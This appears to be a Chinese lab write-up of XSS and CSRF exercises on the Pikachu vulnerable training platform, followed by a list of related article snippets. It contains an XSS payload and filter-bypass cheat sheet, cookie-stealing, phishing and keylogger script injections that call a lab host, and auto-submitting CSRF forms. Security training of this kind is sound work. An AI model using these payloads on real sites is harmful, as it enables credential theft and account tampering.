pikachu的xss及csrf
一、XSS
XSS漏洞探测:
XSS探针
我们可以在可插入到源代码中的位置输入'';!‐‐"<XSS>=&{()}测试哪些代码被转义或者过滤XSS检测常用语句
<script>alert(/xss/);</script><script>alert(/xss/)//<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>// 用分号,也可以分号+空格(回车一起使用)<img src=1 onmouseover=alert(1)><a herf=1 onload=alert(1)>nmask</a>Javascript:alert(document.cookie)<script>window.a==1?1:prompt(a=1)</script><script>a=prompt;a(1)</script><img src=0 onerror=confirm('1')>XSS Filter 绕过:
script被过滤
改变大小写 <SCRIPT>alert("xss")</SCRIPT>嵌套<script> <scr<script>ipt>alert("xss") </script><img src="" onerror="alert('xss')"> 或者<img src=x onerror=document.body.appendChild(document.createElement("scr"+"ipt")) .src="xss平台提供的js语句"><iframe>代替<script> <iframe src=javascript:alert('xss');height=0 weight=0 /></iframe><iframe width="0px" height="0px" src="data:text/html;base64,将XSS平台提供的js编码成base64格式(注意:包括了script标签)"></iframe> 例如将<script src=http://123123123.com></script> 编码得到下列语句<iframe width="0px" height="0px" src="data:text/html;base64,asd4s2f/asf+a123=="></iframe>alert被过滤
<img>标签代替alert被编码内容:alert('xss') 编码方式:JS+base16编码<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")> </img>利用函数加密
JS+base16加密格式:<script>eval("js+16进制加密")</script>编码格式:js+16进制加密 被编码内容:alert('js+base16') 编码后内容: \x61\x6c\x65\x72\x74\x28\x27\x6a\x73\x2b\x62\x61\x73\x65\x31\x36\x27\x29实际语句:<script>eval(“alert('js+base16')”)</script>插入语句:<script>eval("\x61\x6c\x65\x72\x74\x28\x27\x6a\x73\x2b\x62\x61\x73 \x65\x31\x36\x27\x29")</script>unicode加密格式:<script>eval("unicode加密")</script>编码格式:unicode加密被编码内容:alert('unicode') 编码后内容:\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0075\u006e\u0069\u0063 \u006f\u0064\u0065\u0027\u0029实际语句:<script>eval(“alert('unicode')”)</script>插入语句:<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0075\u00 6e\u0069\u0063\u006f\u0064\u0065\u0027\u0029")</script>String.fromCharCod加密格式:<script>eval(String.fromCharCode(编码))</script>函数:String.fromCharCode编码格式:String.fromCharCode被编码内容: alert('String.fromCharCode')编码后内容: String.fromCharCode(97,108,101,114,116,40,39,83,116,114,105,110,103,46 ,102,114,111,109,67,104,97,114,67,111,100,101,39,41)实际语句:<script>eval(“String.fromCharCode”)</script>插入语句: <script>eval(String.fromCharCode(97,108,101,114,116,40,39,83,116,114,1 05,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,39,41)) </script>data协议 作用:隐藏标签、保护标签!!!格式:<object data="data:text/html;base64,我们的完整语句"> </object>被编码内容:<script>alert('data protocol')</script>被编码内容:<script>alert('data protocol')</script>实际作用语句:<script>alert('data protocol')</script>插入语句:<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZGF0YSBwcm90b2NvbCcpPC 9zY3JpcHQ+"></object>对属性内容的编码绕过:对于过滤不太严格的这类富文本编辑器,我们大概的思路就是:01.找出可利用的标签,通常有一些不引起注意的embed、object等,还有嵌入式的标记 语言svg、math等,而且img、a等一般也是不会过滤的。02.找出可利用属性。onmouse系列、onerror、style等。03.找出一个没被过滤的标签+属性组合(好是容易触发的),利用编码等方式绕过一 些其他过滤,终得到POC。如下列出一些可用的关键字,可以借助黑盒的方式测试一遍,看看哪些过滤了哪些没过 滤,类似于fuzz。img onAbort onActivate onAfterPrint onAfterUpdate onBeforeActivate onBeforeCopy onBeforeCut onBeforeDeactivate onBeforeEditFocus onBeforePaste onBeforePrint onBeforeUnload onBeforeUpdate onBegin onBlur onBounce onCellChange onChange onClick onContextMenu onControlSelect onCopy onCut onDataAvailable onDataSetChanged onDataSetComplete onDblClick onDeactivate onDrag onDragEnd onDragLeave onDragEnter onDragOver onDragDrop onDragStart onDrop onEnd onError onErrorUpdate onFilterChange onFinish onFocus onFocusIn onFocusOut onHashChange onHelp onInput onKeyDown onKeyPress onKeyUp onLayoutComplete onLoad onLoseCapture onMediaComplete onMediaError onMessage onMouseDown onMouseEnter onMouseLeave onMouseMove onMouseOut onMouseOver onMouseUp onMouseWheel onMove onMoveEnd onMoveStart onOffline onOnline onOutOfSync onPaste onPause onPopState onProgress onPropertyChange onReadyStateChange onRedo onRepeat onReset onResize onResizeEnd onResizeStart onResume onReverse onRowsEnter onRowExit onRowDelete onRowInserted onScroll onSeek onSelect onSelectionChangeonSelectStart onStart onStop onStorage onSyncRestored onSubmit onTimeError onTrackChange onUndo onUnload onURLFli formaction action href xlink:href autofocus src content data from values to style利用伪协议: 伪协议,类似<a href=javascript:xxxx>呵呵</a>,href后面是可以跟着伪协议的,比如javascript协议。 在这里就可以借助它来完成通用型xss。
1.反射性XSS(GET)






2.反射性XSS(POST)+获取Cookie





修改完成后,在登录用户的情况下访问此链接 http://192.168.1.1/pikachu/pkxss/xcookie/post.html
然后查看xss后台发现,cookie已经发送到xss后台



(2)存储型钓鱼

上图就是pikachu平台的钓鱼文件
所以我们构造payload指定到此文件上 payload为 <script src="http://192.168.1.1/pikachu/pkxss/xfish/fish.php"></srcipt>
输入payload提交之后,效果如下
输入用户名和密码 分别为 S4tan 123123
进入xss后台查看,发现收到钓鱼结果
(3)存储型键盘记录
同上,这里我们的pikachu平台有一个构造好的js文件和php文件,引用此script脚本会记录键盘记录,但是有一个要注意的是,因为有同源策略的存在,正常情况下的调用js脚本不会正常执行,只有当设置以下策略才会正常执行。
//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");
其js和php的主要代码如下
我们构造引用js文件的payload <script src="http://192.168.1.1/pikachu/pkxss/rkeypress/rk.js"></srcipt>
提交执行,看起来并没有什么变化,但是查看源代码发现,xss插入成功
查看F12的Networking发现js已经被引用。
我们在输入框中输入文章试一试。
再查看xss后台,发现输入记录已被存入数据库。













































二、CSRF
1.CSRF(GET)
首先登陆一个账户,获取cookie以及信息。
点击修改个人信息
利用审查元素,查看submit类型
发现是get传参类型的表单,先提交一次测试一下。
找到传参的参数以及路径。可以确定为CSRF类型,利用刚才的networking情况构造payload。
将kobe的性别改为girl 电话改为 123456789地址改为PPSUC 邮箱改为PPSUC@edu.cn 则完整的url为 http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123456789&add=PPSUC&email=PPSUC%40edu.n&submit=submit
我们以当前用户点击此链接。如图
发现个人信息已被修改
则CSRF(GET)payload成功。
2.CSRF(POST)
同上,这次我们登录allen的账号获取其cookie和个人信息。
点击修改个人信息
查看审查元素,发现此次提交表单为post类型提交数据
所以这次我们需要构造一个链接,此链接为我们自己服务器文件,功能为一被访问就自动post数据到修改个人资料的PHP文件上。
所以我们构造html为
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="" />
<input id="add" type="text" name="add" value="PPSUC" />
<input id="email" type="text" name="email" value="PPSUC@edu.cn" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
此html在刚加载时就会触发id为postsubmit的对象,导致构造的form表单的数据被提交,而我们构造表单的vaule为我们想要的数据,这样就可以导致csrf产生。
测试:
我们在allen账号的状态下,点击我们html的url http://192.168.1.1/pikachu/vul/csrf/csrfpost/post.html
结果如下。先跳转到此页面
然后再跳转回个人信息页面
此时发现个人信息已被修改,然而有个很严重的问题,这个目标太显眼,我们要想办法把post.html的内容尽量减少。
例如:
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="hidden" name="sex" value="girl" />
<input id="phonenum" type="hidden" name="phonenum" value="" />
<input id="add" type="hidden" name="add" value="PPSUC" />
<input id="email" type="hidden" name="email" value="PPSUC@edu.cn" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
这样的画访问post.html如下图
应该还有其他方法减小目标,可以继续研究。
3.CSRF TOKEN
暂时没有很有效的办法去绕过token
pikachu的xss及csrf的更多相关文章
- web安全技术--XSS和CSRF
Xss一般是脚本代码,主要是JS的,但是也有AS和VBS的. 主要分为反射型,存储型,DOM型三个大类. 一般来讲在手工测试的时候先要考虑的地方就是哪里有输入那里有输出. 然后是进行敏感字符测试,通常 ...
- 漏洞科普:对于XSS和CSRF你究竟了解多少
转自:http://www.freebuf.com/articles/web/39234.html 随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广 ...
- XSS 和 CSRF 攻击
web安全中有很多种攻击手段,除了SQL注入外,比较常见的还有 XSS 和 CSRF等 一.XSS(Cross Site Scripting)跨站脚本 XSS其实就是Html的注入问题,攻击者的输入没 ...
- XSS与CSRF两种跨站攻击比较
XSS:跨站脚本(Cross-site scripting) CSRF:跨站请求伪造(Cross-site request forgery) 在那个年代,大家一般用拼接字符串的方式来构造动态SQL 语 ...
- 【实习记】2014-08-23网络安全XSS与CSRF总结
XSS:脚本中的不速之客XSS:跨站脚本(Cross-site scripting)CSRF:冒充用户之手CSRF:跨站请求伪造(Cross-site request forgery) 谷歌搜 ...
- 总结 XSS 与 CSRF 两种跨站攻击
前言 在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了 ...
- 浅谈CDN、SEO、XSS、CSRF
CDN 什么是CDN 初学Web开发的时候,多多少少都会听过这个名词->CDN. CDN在我没接触之前,它给我的印象是用来优化网络请求的,我第一次用到CDN的时候是在找JS文件时.当时找不到相对 ...
- XSS和CSRF的理解
声明:转自 http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html XSS攻击:跨站脚本攻击(Cross Site Scripting ...
- 总结XSS与CSRF两种跨站攻击
XSS:跨站脚本(Cross-site scripting),实际应是"CSS",但由于和层叠样式表CSS名称冲突,故改为"XSS" CSRF:跨站请求伪造(C ...
随机推荐
- opencv 截取任意四边形区域的图像
截取任意四边形区域的图像. mask就是结果. 需要定义四边形区域,分别是 tl, tr, bl, br std::map<int, std::set<int>> genera ...
- jwt, token, session和cookies
jwt token,session和cookies
- Mondb
1. MongoDB简介 • MongoDB是为快速开发互联网Web应用而设计的数据库系统.• MongoDB的设计目标是极简.灵活.作为Web应用栈的一部分.• MongoDB的数据模型是面向文档的 ...
- vue_03day
目录 作业: vue组件操作页面渲染: 组件渲染: 作业: vue组件操作页面渲染: 1.有以下广告数据(实际数据命名可以略做调整) ad_data = { tv: [ {img: 'img/tv/0 ...
- Note | MATLAB
目录 1. 读写文件 简单读写 将rgb保存为yuv文件 从yuv文件中读取Y通道 将TIFF图片拼接为yuv文件 2. 字符串操作 3. 画图 4. 词频统计 1. 读写文件 简单读写 fp = f ...
- 使用nexus搭建maven仓库(maven 本地私服)
我们在使用maven的时候,对于项目所依赖的jar包,maven默认会在中央仓库下载jar包,到本地的磁盘目录(如果没有配置则是用户目录下/.m2/repository文件夹下).如果公司内部搭了一个 ...
- PHP数学扩展函数BC
需要准确高精度计算的时候,如果直接计算会出现不准确的情况,要用BC函数. bcadd — 2个任意精度数字的加法计算 bccomp — 比较两个任意精度的数字 bcdiv — 2个任意精度的数字除法计 ...
- 【shell脚本】打印九九乘法表
打印九九乘法表 一.seq介绍 seq命令用于以指定增量从首数开始打印数字到尾数,即产生从某个数到另外一个数之间的所有整数,并且可以对整数的格式.宽度.分割符号进行控制 语法: [1] seq [选项 ...
- linux安装redis步骤
1.安装gcc redis是c语言编写的 -- 安装命令 yum install gcc-c++ -- 检查gcc 是否安装 gcc -v 2.下载redis安装包,在root目录下执行 wget ...
- ubuntu删除文件和文件夹的rm命令
在Ubuntu中好多文件或文件夹是不能使用右键删除的,因此知道删除文件或文件夹的rm命令显得尤为重要. rm命令的语法 rm [选项] 文件名或文件夹名 rm命令的一些选项 -f.--force 强力 ...